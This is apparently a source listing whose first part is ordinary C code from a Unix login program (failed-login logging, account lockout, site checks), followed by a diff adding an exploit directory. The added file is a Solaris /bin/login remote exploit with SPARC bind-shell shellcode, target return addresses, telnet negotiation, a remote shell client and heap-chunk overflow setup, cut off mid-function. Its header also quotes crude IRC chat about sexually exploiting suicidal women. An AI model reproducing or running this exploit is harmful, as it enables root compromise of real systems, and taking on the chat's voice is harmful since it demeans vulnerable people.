3286 * 2. If the file LOGINLOG (will be defined to be
3287 * /var/adm/loginlog) exists, all LOGFAILURES consecutive
3288 * unsuccessful login attempts will be logged in
3289 * LOGINLOG. After LOGFAILURES unsuccessful attempts,
3290 * login will sleep for DISABLETIME before dropping the
3291 * line. In other words, if a person tried five times,
3292 * unsuccessfully, to log in at a terminal, all five
3293 * attempts will be logged in /var/adm/loginlog if it
3294 * exists. The login command will then sleep for
3295 * DISABLETIME seconds and drop the line. On the other
3296 * hand, if a person has one or two unsuccessful
3297 * attempts, none of them will be logged.
3298 *
3299 * => Note: Since LOGFAILURES can now be set by the
3300 * administrator, it may be set to 1 so that any number
3301 * of failed login attempts are recorded. When either
3302 * MAXTRYS or LOGFAILURES is reached login will exit
3303 * and the user will be disconnected from the system.
3304 * The difference being that in the case of
3305 * LOGFAILURES, a record of bad login attempts are
3306 * recorded in the system logs.
3307 *
3308 * 3. by default, MAXTRYS and LOGFAILURES will be set to 5,
3309 *
3310 * 4. if set, MAXTRYS must be >= 0. If MAXTRYS=0 and
3311 * LOGFAILURES is not set, then login will not kick the
3312 * user off the system (unlimited attempts will be
3313 * allowed).
3314 *
3315 * 5. if set, LOGFAILURES must be within the range of 0-20.
3316 * If LOGFAILURES is = 0, and MAXTRYS is not set, then
3317 * login will not kick off the user (unlimited attempts
3318 * will be allowed).
3319 *
3320 * 6. if LOGFAILURES or MAXTRYS are not set, then
3321 * respectively, the effect will be as if the item were
3322 * set to 0,
3323 *
3324 * 7. the lowest positive number of MAXTRYS and LOGFAILURES
3325 * will be the number of failed login attempts allowed
3326 * before the appropriate action is taken (e.g. 1,
3327 * MAXTRYS = 3 and LOGFAILURES=6 then the user will be
3328 * kicked off the system after 3 bad login attempts and
3329 * IN NO CASE shall bad login records end up in the
3330 * system log file (var/adm/loginlog). e.g. 2, MAXTRYS=6
3331 * and LOGFAILURES=3, then the user will be kicked off
3332 * the system after 3 bad login attempts and at that
3333 * point in time, 3 records will be recorded in the
3334 * system log file.)
3335 *
3336 * 8. in the case when both values are equal, then the
3337 * action of LOGFAILURES will dominate (i.e., a record of
3338 * the bad login attempts will be recorded in the log
3339 * files).
3340*/
3341static long
3342get_logoffval(void)
3343{
3344 if (Def_maxtrys == Def_failures) /* #8 */
3345 return Def_failures;
3346
3347 if (!Def_maxtrys && (Def_failures < 2)) /* #4, #5, and #6 */
3348 return 0;
3349
3350 if (Def_maxtrys < Def_failures) { /* #7, example 1 */
3351 Def_failures = 0;
3352 return Def_maxtrys;
3353 }
3354 /*
3355 * Def_maxtrys MUST be greater than Def_failures so
3356 * return Def_failures!
3357 */
3358 return Def_failures; /* #7, example 2 */
3359}
3360
3361
3362/*
3363 * Procedure: at_shell_level
3364 *
3365 * Restrictions:
3366 * getutxent: P_MACREAD
3367 *
3368 * Notes: determines if the login scheme was called by the user at
3369 * the shell level. If so, this is forbidden.
3370*/
3371static int
3372at_shell_level(void)
3373{
3374#ifndef EXECSH
3375 register struct utmpx *u;
3376 pid_t tmppid;
3377
3378 tmppid = getppid();
3379
3380 /*
3381 * Find the entry for this pid in the utmp file.
3382 */
3383
3384 while ((u = getutxent()) != NULL) {
3385 if (((u->ut_type == INIT_PROCESS ||
3386 u->ut_type == LOGIN_PROCESS) &&
3387 (u->ut_pid == tmppid)) ||
3388 ((u->ut_type == USER_PROCESS) &&
3389 (u->ut_pid == tmppid) &&
3390 (!strncmp(u->ut_user, ".", 1)))) {
3391
3392 break;
3393 }
3394 }
3395 endutxent(); /* Close utmp file */
3396
3397 if (u == (struct utmpx *)NULL)
3398 return 1;
3399#endif /* !EXECSH */
3400 return 0;
3401}
3402
3403/*
3404 * Put string in SYSLOG on failure
3405 */
3406
3407static void
3408failure_log(void)
3409{
3410 if (syslog_fail) {
3411 openlog("login", LOG_PID, LOG_AUTH);
3412 if (rflag_set || hflag) {
3413 syslog(LOG_INFO|LOG_AUTH, "failed: %s@%s as %s",
3414 hflag ? "?" : rusername, remotehost, u_name);
3415 } else
3416 syslog(LOG_NOTICE|LOG_AUTH, "failed: %s on %s",
3417 u_name, ttyn);
3418 closelog();
3419 }
3420}
3421
3422/*
3423 * display pre-prompt messages
3424 */
3425
3426static void
3427early_advice(int rflag, int hflag)
3428{
3429 FILE *fp;
3430 char inputline[MAXLINE];
3431 cap_t ocap;
3432 cap_value_t capv;
3433
3434 if (rflag || hflag) {
3435 /* If rlogins are disabled, print out the message. */
3436 if ((fp = fopen(_PATH_NOLOGIN,"r")) != NULL) {
3437 while (fgets(inputline,sizeof(inputline),fp) != NULL) {
3438 fputs(inputline,stdout);
3439 putc('\r',stdout);
3440 }
3441 fflush(stdout);
3442 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
3443 ia_audit("LOGIN", u_name, 0, "Remote logins disabled");
3444 cap_surrender(ocap);
3445 sleep(5);
3446 exit(1);
3447 }
3448
3449 /* Print out the issue file. */
3450
3451 if ((fp = fopen(_PATH_ISSUE,"r")) != NULL) {
3452 while (fgets(inputline,sizeof(inputline),fp) != NULL) {
3453 fputs(inputline,stdout);
3454 putc('\r',stdout);
3455 }
3456 /*
3457 * Insert extra newline otherwise gpass prints
3458 * passwdmsg and puts cursor at beginning of the line.
3459 */
3460 putc('\n',stdout);
3461 fclose(fp);
3462 }
3463 }
3464}
3465
3466/*
3467 * set_uthost() is called only for remote logins. It constructs the
3468 * ut_host string for the current utmpx entry.
3469 * - If the remote and local usernames are different, it copies the
3470 * remote username followed by an '@', then the remotehostname into
3471 * ut_hostp. The entire remote hostname is saved; the remote user
3472 * is truncated as necessary.
3473 * - if the local and remote usernames match, only the remotehostname
3474 * is copied.
3475 *
3476 * Note that `rusername', `luser', and `remotehost' must be initialized
3477 * before set_uthost() is invoked.
3478 */
3479static int
3480set_uthost(
3481 char *ut_hostp, /* constructed ut_host string is copied here */
3482 int uthlen) /* max strlen(ut_hostp) allowed */
3483{
3484 int rhostlen, ccnt;
3485 int rumaxlen; /* max # of chars to grab from ruser */
3486
3487 ut_hostp[0] = '\0';
3488 if (remotehost[0] == '\0') { /* ???? */
3489 return(0);
3490 }
3491
3492 rhostlen = strlen(remotehost);
3493 rumaxlen = 0;
3494 if (rhostlen < (uthlen-1) && /* only room for '@' if 1 shorter; */
3495 rusername[0]!='\0' && luser[0]!='\0' && strcmp(rusername,luser)) {
3496 rumaxlen = (uthlen - rhostlen - 1);
3497 }
3498
3499 ccnt = sprintf(ut_hostp, "%.*s%s%.*s", rumaxlen, rusername,
3500 (rumaxlen > 0 ? "@" : ""), uthlen, remotehost);
3501 return(ccnt);
3502}
3503
3504
3505
3506
3507
3508#ifdef AUX_SECURITY
3509
3510static unsigned char
3511dositecheck(void)
3512{
3513 auto int wstatus;
3514 struct stat sbuf;
3515 char *newargv[5];
3516 pid_t sitepid, rv;
3517 int i;
3518 cap_t ocap;
3519 cap_value_t capv;
3520
3521 i = 0;
3522 newargv[i++] = Def_sitepath;
3523 newargv[i++] = u_name;
3524 if (remotehost[0] != '\0') {
3525 newargv[i++] = (char *) remotehost;
3526 }
3527 if (rusername[0] != '\0') {
3528 newargv[i++] = (char *) rusername;
3529 }
3530
3531 newargv[i] = NULL;
3532
3533 /*
3534 * Enforce security items. Check that the program is owned by root,
3535 * and is not world-writable. Return SITE_CONTINUE if it is not,
3536 * thus causing a traditional unix authentication.
3537 */
3538
3539 if (stat(Def_sitepath,&sbuf) != 0) {
3540 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
3541 ia_audit("LOGIN", u_name, 0, "cannot access sitecheck");
3542 cap_surrender(ocap);
3543 return SITE_CONTINUE;
3544 }
3545
3546 if (sbuf.st_uid != 0) {
3547 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
3548 ia_audit("LOGIN", u_name, 0, "bad sitecheck ownership");
3549 cap_surrender(ocap);
3550 return SITE_CONTINUE;
3551 }
3552
3553 if (sbuf.st_mode & 0022) {
3554 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
3555 ia_audit("LOGIN", u_name, 0, "bad sitecheck permissions");
3556 cap_surrender(ocap);
3557 return SITE_CONTINUE;
3558 }
3559 /* fork, exec, and wait for return code of siteprog */
3560
3561 switch (sitepid = fork()) {
3562 case -1:
3563 return(SITE_FAIL);
3564 case 0:
3565 signal(SIGALRM, SIG_DFL);
3566 signal(SIGHUP, SIG_DFL);
3567 execv(Def_sitepath, newargv);
3568 capv = CAP_AUDIT_WRITE, ocap = cap_acquire (1, &capv);
3569 ia_audit("LOGIN", u_name, 0, "can't exec sitecheck program");
3570 cap_surrender(ocap);
3571 return(SITE_CONTINUE);
3572 }
3573
3574 rv = waitpid(sitepid, &wstatus, 0);
3575 if (rv < 0)
3576 return SITE_FAIL;
3577 else if (WIFEXITED(wstatus))
3578 return WEXITSTATUS(wstatus);
3579 else {
3580 if (WCOREDUMP(wstatus))
3581 return SITE_CONTINUE;
3582 else
3583 return SITE_FAIL;
3584 }
3585}
3586#endif /* AUX_SECURITY */
3587
3588/*
3589 * Return the value of the requested variable in the environment string.
3590 */
3591static char *
3592getsenv(char *varname, char **envp)
3593{
3594 int s = strlen(varname);
3595 char *ep;
3596
3597 for (ep = *envp; ep = *envp; envp++) {
3598 if (strncmp(varname, ep, s))
3599 continue;
3600 if (ep[s] != '=')
3601 continue;
3602 return (ep + s + 1);
3603 }
3604 return (NULL);
3605}
3606
3607
3608#define BL_WRITE 1
3609#define BL_LOCK 2
3610#define BL_BADFILE 3
3611#define BL_BADLOCK 4
3612#define BL_LOCK_BADFILE 5
3613
3614/*
3615 * Call update_count and log result to syslog and system audit trail.
3616 */
3617static void
3618count_badlogins(int outcome, char *username)
3619{
3620 cap_t ocap;
3621 cap_value_t capv = CAP_AUDIT_WRITE;
3622
3623 if (Lockout <= 0)
3624 return;
3625
3626 switch(update_count(outcome, username)) {
3627 case BL_LOCK:
3628 syslog(LOG_NOTICE|LOG_AUTH, "Locked %s account\n", username);
3629 ocap = cap_acquire (1, &capv);
3630 ia_audit("LOGIN", username, 1, "Locked account");
3631 cap_surrender(ocap);
3632 break;
3633 case BL_BADFILE:
3634 ocap = cap_acquire (1, &capv);
3635 ia_audit("LOGIN", username, 0, "Can't update badlogin file");
3636 cap_surrender(ocap);
3637 syslog(LOG_ALERT|LOG_AUTH, "Can't update %s badlogin count",
3638 username);
3639 break;
3640 case BL_BADLOCK:
3641 ocap = cap_acquire (1, &capv);
3642 ia_audit("LOGIN", username, 0, "Can't lock account");
3643 cap_surrender(ocap);
3644 syslog(LOG_ALERT|LOG_AUTH, "Can't lock %s account", username);
3645 break;
3646 case BL_LOCK_BADFILE:
3647 ocap = cap_acquire (1, &capv);
3648 ia_audit("LOGIN", username, 0,
3649 "Locked account but can't update badlogin file");
3650 cap_surrender(ocap);
3651 syslog(LOG_ALERT|LOG_AUTH,
3652 "Can't update %s badlogin count", username);
3653 break;
3654 default:
3655 break;
3656 }
3657}
3658
3659#define MATCH 1
3660#define NOMATCH 0
3661#define SKIP_DELIM(a) {while (*a && (*a == NAME_DELIM)) a++;}
3662
3663static int
3664notlockout(char *user)
3665{
3666 char notlockname[LNAME_SIZE+1];
3667 char * name_begin_ptr;
3668 char * name_delim_ptr;
3669 int namelen=0;
3670
3671 if (Def_notlockout == NULL)
3672 return (NOMATCH);
3673
3674 notlockname[0]='\0';
3675 name_begin_ptr = Def_notlockout;
3676 SKIP_DELIM(name_begin_ptr);
3677
3678 /* Iterate through the list of names until we reach \0 */
3679 while (*name_begin_ptr != NULL) {
3680 name_delim_ptr = strchr(name_begin_ptr,NAME_DELIM);
3681
3682 /* strchr didn't find any more delimiters, but we still
3683 * have to deal with the last name in the list
3684 */
3685 if (name_delim_ptr != NULL)
3686 namelen = name_delim_ptr - name_begin_ptr;
3687 else
3688 namelen = strlen(name_begin_ptr);
3689
3690 /* name must be a valid length <= LNAME_SIZE,
3691 * we don't want to overflow on the stack, and we
3692 * don't want to just chop off the name at LNAME_SIZE
3693 * since that would invalidate the identity.
3694 */
3695 if ((namelen > 0) && (namelen <=LNAME_SIZE)){
3696 strncpy(notlockname, name_begin_ptr, namelen);
3697 notlockname[namelen]='\0';
3698 if (strcmp(user, notlockname) == 0)
3699 return (MATCH);
3700 }
3701 /* Increment the name_begin_ptr, and handle
3702 * termination of the loop is there isn't
3703 * a match in the list.
3704 */
3705 if (name_delim_ptr != NULL) {
3706 name_begin_ptr=name_delim_ptr;
3707 SKIP_DELIM(name_begin_ptr);
3708 }
3709 else
3710 name_begin_ptr = name_begin_ptr + namelen;
3711 }
3712 return (NOMATCH);
3713}
3714
3715
3716
3717/*
3718 * On successful login (outcome=1), reset count to zero.
3719 * Otherwise, increment count, test whether count has reached
3720 * Lockout value, and lock user's account if it has.
3721 */
3722static int
3723update_count(int outcome, char *user)
3724{
3725 char *badlogfile;
3726 int fd, retval, wstatus;
3727 short new = 0;
3728 short lockok = 0;
3729 char count;
3730 struct passwd *pw;
3731 struct stat bl_buf;
3732
3733 /* Validate that this user exists, we don't use uinfo (iaf)
3734 * structure here, because we're not guaranteed that it exists
3735 * when this routine is called. BUG #491422
3736 */
3737 pw = getpwnam(user);
3738
3739 /* Don't process LOCKOUT if the user doesn't exist.
3740 * BUG #491422
3741 */
3742 if (pw != NULL) {
3743
3744 /*
3745 * Open user's badlog file.
3746 */
3747 if (access(BADLOGDIR, 0) < 0) {
3748 if (mkdir(BADLOGDIR, 0700) < 0)
3749 return(BL_BADFILE);
3750 }
3751 if ((badlogfile = (char *)malloc(sizeof(BADLOGDIR) +
3752 strlen(user) + 3)) == NULL) {
3753 return(BL_BADFILE);
3754 }
3755 sprintf(badlogfile, "%s/%s", BADLOGDIR, user);
3756 /*
3757 * If file is new, count is zero.
3758 * Use stat instead of access to avoid the real uid/gid
3759 * problems when login not started as root. BUG #506487
3760 */
3761 if (stat(badlogfile, &bl_buf) < 0) {
3762 new = 1;
3763 count = '\0';
3764 }
3765 fd =open(badlogfile, O_RDWR | O_CREAT, 0600);
3766 free(badlogfile);
3767 if (fd < 0 || flock(fd, LOCK_EX) < 0) {
3768 close(fd);
3769 return(BL_BADFILE);
3770 }
3771 if (outcome == 0) {
3772 /*
3773 * Failed login: read count and seek back to start.
3774 */
3775 if (!new && read(fd, &count, 1) != 1) {
3776 close(fd);
3777 return(BL_BADFILE);
3778 }
3779 if (lseek(fd, 0, SEEK_SET) < 0) {
3780 close(fd);
3781 return(BL_BADFILE);
3782 }
3783 /*
3784 * If updated count has reached Lockout value,
3785 * invoke passwd -l and reset count to zero - UNLESS
3786 * (UNLESS!) the user is on the LOCKOUTEXEMPT list in
3787 * the options file. Such a user will have his count
3788 * updated when a failed login attempt is made, but
3789 * will not be locked out when the Lockout count is
3790 * exceeded. This feature is the result of Bug 491422,
3791 * to address the denial of service attacks possible
3792 * when the LOCKOUT option is in use.
3793 */
3794 if ((++count >= Lockout) &&
3795 (notlockout(user) == NULL)) {
3796 retval = fork();
3797 switch (retval) {
3798 case -1:
3799 close(fd);
3800 return (BL_BADLOCK);
3801 case 0:
3802 close(fd);
3803 signal(SIGALRM, SIG_DFL);
3804 signal(SIGHUP, SIG_DFL);
3805 execl("/bin/passwd", "passwd",
3806 "-l", user, (char *)0);
3807 exit(1);
3808 }
3809 if (waitpid(retval, &wstatus, 0) < 0 ||
3810 wstatus != 0) {
3811 close(fd);
3812 return (BL_BADLOCK);
3813 }
3814 count = '\0';
3815 lockok = 1;
3816 }
3817 }
3818 else {
3819 /*
3820 * On successful login, reset count to zero.
3821 */
3822 count = '\0';
3823 }
3824 /*
3825 * Write back updated count.
3826 */
3827 if (write(fd, &count, 1) != 1) {
3828 close(fd);
3829 if (lockok)
3830 return(BL_LOCK_BADFILE);
3831 return(BL_BADFILE);
3832 }
3833 else {
3834 close(fd);
3835 if (lockok)
3836 return(BL_LOCK);
3837 return(BL_WRITE);
3838 }
3839 }
3840 return(BL_LOCK);
3841}
3842
3843/*
3844 * Determine if `user' is cleared for capability state `cap'.
3845 * This function is dependent upon the internal representation
3846 * of cap_t.
3847 */
3848static int
3849cap_user_cleared (const char *user, const cap_t cap)
3850{
3851 struct user_cap *clp;
3852 cap_t pcap;
3853 int result;
3854
3855 if ((clp = sgi_getcapabilitybyname(user)) == NULL)
3856 pcap = cap_init();
3857 else
3858 pcap = cap_from_text(clp->ca_allowed);
3859
3860 result = CAP_ID_ISSET(cap->cap_effective, pcap->cap_effective) &&
3861 CAP_ID_ISSET(cap->cap_permitted, pcap->cap_permitted) &&
3862 CAP_ID_ISSET(cap->cap_inheritable, pcap->cap_inheritable);
3863
3864 (void) cap_free(pcap);
3865
3866 return result;
3867}
diff --git a/exploits/7350logout/login-27-x86 b/exploits/7350logout/login-27-x86
new file mode 100644
index 0000000..b1cf0e0
--- /dev/null
+++ b/exploits/7350logout/login-27-x86
Binary files differ
diff --git a/exploits/7350logout/login-ex.c-20020318-morgan b/exploits/7350logout/login-ex.c-20020318-morgan
new file mode 100644
index 0000000..4b41531
--- /dev/null
+++ b/exploits/7350logout/login-ex.c-20020318-morgan
@@ -0,0 +1,533 @@
1/*
2Solaris /bin/login array mismangement exploit by morgan@sexter.com
3
4compile:
5 use -DSOLARIS if your running it on a big endian system....
6
7friendly advice to find that special someone:
8[ronin(ronin@segfault.net)] think if i make 'the lonely hearts club' at college...
9[ronin(ronin@segfault.net)] it'll have a psych. effect on chicks?
10[msg(ronin)] you'd get all the suicidal chicks
11[ronin(ronin@segfault.net)] they have like clubs and shit... chess clubs, sport, rollerblading, etc.
12[ronin(ronin@segfault.net)] u can make ur own
13[msg(ronin)] yah.. most schools do
14[ronin(ronin@segfault.net)] they should be the best in bed
15[ronin(ronin@segfault.net)] cuz of how vulnerable they are to suggestion
16[ronin(ronin@segfault.net)] and all that angst
17[msg(ronin)] always thinking
18[ronin(ronin@segfault.net)] can be harnessed for sexual gratification
19[msg(ronin)] your a quite a sexual trickster
20[ronin(ronin@segfault.net)] plus
21[ronin(ronin@segfault.net)] suicidal = pain
22[ronin(ronin@segfault.net)] pain = bdsm
23[ronin(ronin@segfault.net)] happy go lucky chicks are too content in bed
24[msg(ronin)] /me wanders off slowly
25[ronin(ronin@segfault.net)] but suicidal chicks like to cover the full spectrum of pain
26[ronin(ronin@segfault.net)] and pain and pleasure are one
27
28greets:
29matthew, pioneering the pinkhat movement... ryan&drago, reading telnet rfcs for me..
30ron1n, OMG! You're in school now!@#$! The metaray, level 6 on everquest now!
31blueboar, for his exquisite mailing list..
32antisec for being so darn hackerifically ethical... keep up the faith
33and arcanum the aim sexual predator...
34*/
35
36#include <stdio.h>
37#include <unistd.h>
38#include <sys/socket.h>
39#include <sys/types.h>
40#include <string.h>
41#include <errno.h>
42#include <netinet/in.h>
43#include <netdb.h>
44#include <arpa/inet.h>
45#include <arpa/telnet.h>
46
47#define NOPS 8
48
49struct {
50 char *name;
51 unsigned long reta;
52 unsigned long retl;
53}targets[] = {
54{ "SunOS 5.7... local", 0xffbef85c, 0x20026fc8},
55{ "SunOS 5.7... remote", 0xffbef8bc, 0x20026fc8},
56{ "SunOS 5,7... remote 2", 0xffbef824, 0x20026fc8},
57
58 { NULL, 0, 0 }
59};
60
61unsigned char shellcode[] = /* dopesquad.net shellcode + 8 nop bytes */
62 "\x10\x80\x00\x03" /* b foolabel */
63 "\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */
64/* OVERWRITE */ "\x82\x10\x20\x17" /* mov 23, %g1 */
65
66
67
68 "\xa0\x23\xa0\x10" /* sub %sp, 16, %l0 */
69 "\xae\x23\x80\x10" /* sub %sp, %l0, %l7 */
70 "\xee\x23\xbf\xec" /* st %l7, [%sp - 20] */
71 "\x82\x05\xe0\xd6" /* add %l7, 214, %g1 */
72 "\x90\x25\xe0\x0e" /* sub %l7, 14, %o0 */
73 "\x92\x25\xe0\x0e" /* sub %l7, 14, %o1 */
74 "\x94\x1c\x40\x11" /* xor %l1, %l1, %o2 */
75 "\x96\x1c\x40\x11" /* xor %l1, %l1, %o3 */
76 "\x98\x25\xe0\x0f" /* sub %l7, 15, %o4 */
77 "\x91\xd0\x38\x08" /* ta 0x8 */
78 "\xa4\x1a\x80\x08" /* xor %o2, %o0, %l2 */
79 "\xd2\x33\xbf\xf0" /* sth %o1, [%sp - 16] */
80 "\xac\x10\x27\xd1" /* mov 2001, %l6 */
81 "\xec\x33\xbf\xf2" /* sth %l6, [%sp - 14] */
82 "\xc0\x23\xbf\xf4" /* st %g0, [%sp - 12] */
83 "\x82\x05\xe0\xd8" /* add %l7, 216, %g1 */
84 "\x90\x1a\xc0\x12" /* xor %o3, %l2, %o0 */
85 "\x92\x1a\xc0\x10" /* xor %o3, %l0, %o1 */
86 "\x94\x1a\xc0\x17" /* xor %o3, %l7, %o2 */
87 "\x91\xd0\x38\x08" /* ta 0x8 */
88 "\x82\x05\xe0\xd9" /* add %l7, 217, %g1 */
89 "\x90\x1a\xc0\x12" /* xor %o3, %l2, %o0 */
90 "\x92\x25\xe0\x0b" /* sub %l7, 11, %o1 */
91 "\x91\xd0\x38\x08" /* ta 0x8 */
92 "\x82\x05\xe0\xda" /* add %l7, 218, %g1 */
93 "\x90\x1a\xc0\x12" /* xor %o3, %l2, %o0 */
94 "\x92\x1a\xc0\x10" /* xor %o3, %l0, %o1 */
95 "\x94\x23\xa0\x14" /* sub %sp, 20, %o2 */
96 "\x91\xd0\x38\x08" /* ta 0x8 */
97 "\xa6\x1a\xc0\x08" /* xor %o3, %o0, %l3 */
98 "\x82\x05\xe0\x2e" /* add %l7, 46, %g1 */
99 "\x90\x1a\xc0\x13" /* xor %o3, %l3, %o0 */
100 "\x92\x25\xe0\x07" /* sub %l7, 7, %o1 */
101 "\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */
102 "\x91\xd0\x38\x08" /* ta 0x8 */
103 "\x90\x1a\xc0\x13" /* xor %o3, %l3, %o0 */
104 "\x92\x25\xe0\x07" /* sub %l7, 7, %o1 */
105 "\x94\x02\xe0\x01" /* add %o3, 1, %o2 */
106 "\x91\xd0\x38\x08" /* ta 0x8 */
107 "\x90\x1a\xc0\x13" /* xor %o3, %l3, %o0 */
108 "\x92\x25\xe0\x07" /* sub %l7, 7, %o1 */
109 "\x94\x02\xe0\x02" /* add %o3, 2, %o2 */
110 "\x91\xd0\x38\x08" /* ta 0x8 */
111 "\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */
112 "\x82\x02\xe0\x17" /* add %o3, 23, %g1 */
113 "\x91\xd0\x38\x08" /* ta 0x8 */
114 "\x21\x0b\xd8\x9a" /* sethi %hi(0x2f626800), %l0 */
115 "\xa0\x14\x21\x6e" /* or %l0, 0x16e, %l0 ! 0x2f62696e */
116 "\x23\x0b\xdc\xda" /* sethi %hi(0x2f736800), %l1 */
117 "\x90\x23\xa0\x10" /* sub %sp, 16, %o0 */
118 "\x92\x23\xa0\x08" /* sub %sp, 8, %o1 */
119 "\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */
120 "\xe0\x3b\xbf\xf0" /* std %l0, [%sp - 16] */
121 "\xd0\x23\xbf\xf8" /* st %o0, [%sp - 8] */
122 "\xc0\x23\xbf\xfc" /* st %g0, [%sp - 4] */
123 "\x82\x02\xe0\x3b" /* add %o3, 59, %g1 */
124 "\x91\xd0\x38\x08" /* ta 0x8 */
125 "\x90\x1b\x80\x0e" /* xor %sp, %sp, %o0 */
126 "\x82\x02\xe0\x01" /* add %o3, 1, %g1 */
127 "\x91\xd0\x38\x08" /* ta 0x8 */
128;
129
130
131static char nop[]="\x80\x1c\x40\x11";
132
133void usage(char **argv) {
134 int i;
135
136 fprintf(stderr, "Solaris /bin/login array mismangement exploit by morgan@sexter.com\n");
137 fprintf(stderr, "usage: %s <host>\n", argv[0]);
138 fprintf(stderr, "\t-r <return address>\n");
139 fprintf(stderr, "\t-l <return location>\n");
140 fprintf(stderr, "\t-p <port>\n");
141 fprintf(stderr, "\t-t <target number>\n");
142 fprintf(stderr, "\t-e [for local /bin/login execution mode check for +s]\n");
143 fprintf(stderr, "\t%s -e <options> | /bin/login\n", argv[0]);
144 fprintf(stderr, "\t-b brute force mode\n\n");
145 fprintf(stderr, "targets are...\n");
146 for(i=0; targets[i].name; i++)
147 fprintf(stderr, "\t%d) %s\n", i, targets[i].name);
148
149 fprintf(stderr, "\n");
150 exit(0);
151
152}
153void die(char *error) {
154 fprintf(stderr, "Error: %s\n", error);
155 fprintf(stderr, "Program aborting..\n");
156 exit(0);
157
158}
159
160void shift(unsigned long *addr) {
161 unsigned long tmp;
162 tmp = *addr >> 24;
163 tmp += *addr << 8 >> 24 << 8;
164 tmp += *addr << 16 >> 24 << 16;
165 tmp += *addr << 24;
166 *addr = tmp;
167 return;
168}
169
170int write_with_iac(int fd, char *buff, int s)
171{
172 int i;
173 unsigned char c=0, pt;
174 for (i=0; i<s; i++) {
175 c=(unsigned char)buff[i];
176 if (c==0xff) if(write(fd, &c, 1) < 0)
177 die("Write failed sending IAC");
178 if(write(fd, &c, 1)<0)
179 die("Write failed sending user string");
180 }
181}
182
183void send_ww(int fd, unsigned char arg, int a) {
184 char buf[3];
185 char *p=buf;
186
187 *p++ = IAC;
188 if(a == WILL)
189 *p++ = WILL;
190 else if(a == WONT)
191 *p++ = WONT;
192 else {
193 fprintf(stderr, "illegal send, %d is not a valid send type\n", a);
194 exit(0);
195 }
196 *p = arg;
197
198 write(fd, buf, 3);
199
200 return;
201}
202
203
204int connect_shell(char *host, int port)
205{
206 struct sockaddr_in s;
207 int sock;
208 struct hostent *h;
209 unsigned char c;
210 char commands[] = "cd /; echo; uname -a; id ;echo; "
211 "echo Mommy wow.. im a hacker now; echo ;\n\n";
212 char buf[2048];
213 fd_set fds;
214 int r;
215
216 s.sin_family = AF_INET;
217 s.sin_port = htons(port);
218 s.sin_addr.s_addr = inet_addr(host);
219
220 if ((h=gethostbyname(host)) == NULL)
221 {
222 fprintf(stderr, "cannot resolve: %s : %s\n", host, strerror(errno));
223 return -1;
224 }
225 memcpy (&s.sin_addr.s_addr, (struct in_addr *)h->h_addr, sizeof(h->h_addr));
226
227 if ( (sock = socket (AF_INET, SOCK_STREAM, 0)) == -1)
228 return sock;
229
230 if (connect (sock, (struct sockaddr *)&s, sizeof(s)) == -1)
231 {
232 close (sock);
233 return -1;
234 }
235
236 write(sock, commands, strlen(commands));
237
238 for(;;)
239 {
240 FD_ZERO(&fds);
241 FD_SET(fileno(stdin), &fds);
242 FD_SET(sock, &fds);
243 select(255, &fds, NULL, NULL, NULL);
244
245 if(FD_ISSET(sock, &fds))
246 {
247 memset(buf, 0x0, sizeof(buf));
248 r = read (sock, buf, sizeof(buf) - 1);
249 if(r <= 0)
250 {
251 fprintf(stderr, "Connection closed.\n");
252 exit(0);
253 }
254 fprintf(stderr, "%s", buf);
255 }
256
257 if(FD_ISSET(fileno(stdin), &fds))
258 {
259 memset(buf, 0x0, sizeof(buf));
260 read(fileno(stdin), buf, sizeof(buf) - 1);
261 write(sock, buf, strlen(buf));
262 }
263 }
264 return sock;
265}
266int do_telnet_negotation(char *host, int port)
267{
268 struct sockaddr_in s;
269 int fd, ret;
270 u_char c, buf[3];
271 struct hostent *h;
272
273 s.sin_family = AF_INET;
274 s.sin_port = htons(port);
275 s.sin_addr.s_addr = inet_addr(host);
276
277 if ((h=gethostbyname(host)) == NULL)
278 {
279 fprintf(stderr, "cannot resolve: %s : %s\n", host, strerror(errno));
280 return -1;
281 }
282
283 memcpy (&s.sin_addr.s_addr, (struct in_addr *)h->h_addr, sizeof(h->h_addr));
284
285 if ( (fd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
286 return fd;
287
288 if (connect (fd, (struct sockaddr *)&s, sizeof(s)) == -1)
289 {
290 close (fd);
291 return -1;
292 }
293
294 // send DONT's for all the DO's... ;)
295 send_ww(fd, TELOPT_TTYPE, WONT);
296 send_ww(fd, TELOPT_NAWS, WONT);
297 send_ww(fd, TELOPT_XDISPLOC, WONT);
298 send_ww(fd, TELOPT_NEW_ENVIRON, WONT);
299 send_ww(fd, TELOPT_OLD_ENVIRON, WONT);
300 send_ww(fd, TELOPT_BINARY, WILL);
301
302 return fd;
303}
304
305int setup_exploit(char *buffer, unsigned long retl, unsigned long reta, int bf) {
306 int i,j;
307 char *ptr;
308 char buf[3000];
309 char blah[512];
310 unsigned long *a;
311 unsigned long strncpy_addr = 0xffbef2a8;
312 unsigned long chunk_size = 0xffffffd5;
313 unsigned long chunk = 0xfffffff0;
314 unsigned long free_addr = 0x20026eec;
315#ifndef SOLARIS
316 shift(&strncpy_addr);
317 shift(&chunk_size);
318 shift(&chunk);
319 shift(&free_addr);
320#endif
321 fprintf(stderr, "Solaris /bin/login array mismangement exploit by morgan@sexter.com\n");
322 fprintf(stderr, "<matthew> I've brought more terror to this network then Shdwknght to a chinese food buffet.\n\n");
323 if(!bf) {
324 fprintf(stderr, "using %#x as return address\n", reta);
325 fprintf(stderr, "using %#x as return location\n", retl);
326 }
327 else fprintf(stderr, "trying return address %#x\n", reta);
328
329 memset(&buf[0], 0x41, 512);
330 // SETUP FIRST CHUNK
331 // size -44+1
332 ptr = &buf[36];
333 memcpy(ptr, &chunk_size, 4);
334
335 // SETUP CHUNK numbah 2
336 retl -= 32;
337 reta -= 8;
338#ifndef SOLARIS
339 shift(&retl);
340 shift(&reta);
341#endif
342 ptr = buf;
343
344 memcpy(ptr, &chunk, 4);
345 // second addr free'd
346 memcpy(ptr+4, &free_addr, 4);
347 memcpy(ptr+8, (void *)&retl, 4);
348 memset(ptr+16, 0xff, 4);
349 memcpy(ptr+32, (void *) &reta, 4);
350
351 // fake chunk built.. setting up overflow..
352 for(i=0; i < 256; i++) {
